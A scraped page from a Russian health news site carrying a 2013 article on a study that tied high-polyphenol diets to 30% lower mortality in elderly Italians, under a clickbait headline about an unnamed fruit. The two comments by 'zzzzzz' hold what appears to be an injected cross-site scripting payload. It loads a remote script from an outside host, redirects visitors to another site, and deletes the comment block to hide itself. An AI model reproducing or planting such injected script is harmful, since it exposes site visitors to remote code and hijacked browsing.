Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Обычный фрукт продлевает ...  >>  Обычный фрукт продлевает жизнь на 30%! Какой же?
 
Обратная связь
 

Обычный фрукт продлевает жизнь на 30%! Какой же?

Размер шрифта
19 декабря 2013 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Все мы знаем, что фрукты и овощи полезны для здоровья. С чем это связано? Какой компонент растительных продуктов является подлинным спасителем? Ученые нашли ответ, применив инновационную методику.

Обычный фрукт продлевает жизнь на 30%! Какой же?

Полифенолы – это вещества, которые входят в состав продуктов растительного происхождения (фруктов, овощей, кофе, чая, орехов, круп и других). Описано не менее восьми тысяч различных полифенольных соединений. Они обладают многочисленными положительными эффектами на здоровье: противовоспалительным, антиоксидантным, противоопухолевым и так далее.

Результаты данного исследования подводят черту под двенадцатилетним наблюдением за группой людей в составе 807человек в возрасте от 65 лет и старше. Все они были итальянцами из Тосканы. Ученые изучали влияние полифенольной диеты на здоровье человека. Метаболиическую активность и концентрацию полифенолов оценивали с помощью специального маркера под названием общий полифенол мочи (ОПМ).

Этот показатель впервые использовался в исследованиях столь высокого уровня. «Применение этого биомаркера позволяет более точно оценивать количество полифенольных соединений, употребляемых испытуемыми. Ранее нам приходилось ориентироваться исключительно на данные опросников, которые по определению являются весьма субъективными и неточными», – утверждает профессор Кристина Андрес Лакуэва, один из ведущих научных сотрудников исследовательской группы. «С помощью ОПМ можно четко отслеживать колебания биодоступности полифенолов в популяции и индивидуальные особенности метаболизма этих веществ. Как итог, мы располагаем мощным инструментарием, с помощью которого можно выявить влияние полифенолов на уровень заболеваемости и смертности».

Что ученые, собственно говоря, и сделали. Оказалось, что среди испытуемых, которые придерживались высокополифенольной диеты (>650 мг/сутки), уровень смертности был ниже на 30% в сравнении с теми, кто употреблял малое количество полифенольных соединений (<500 мг/сутки).

«Наша работа служит лишним подтверждением тому факту, что изрядную долю рациона должны составлять фрукты и овощи», – говорит Рауль Замора Рос, ведущий автор исследования.

Сейчас ученые ищут новые, еще более прогрессивные биомаркеры, с помощью которых можно будет с предельной точностью анализировать фармакокинетические характеристики биологически активных веществ. Это позволит проводить еще более яркие исследования о влиянии продуктов питания на организм.

А наши советы, меж тем, остаются неизменными: вместо гамбургера скушайте лучше яблоко или апельсин. Вы же хотите жить подольше, верно?

Результаты исследования были опубликованы в научном издании Journal of Nutrition.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:50

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:49

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Консервированные фрукты приближают вашу смерть! Страшно?   Кто целый день грызет овощи и фрукты, тот будет жить в 2 раза дольше!   Жирная еда делает вас стервой!   Старт нового сезона проекта «Сбрось лишнее»  
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 03 октября 2013Результаты благотворительного марафона «Всем миром»
 

Слайдшоу

1
5 способов похудеть без диеты
Прощай, целлюлит
Лучшая еда для ваших кишок

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.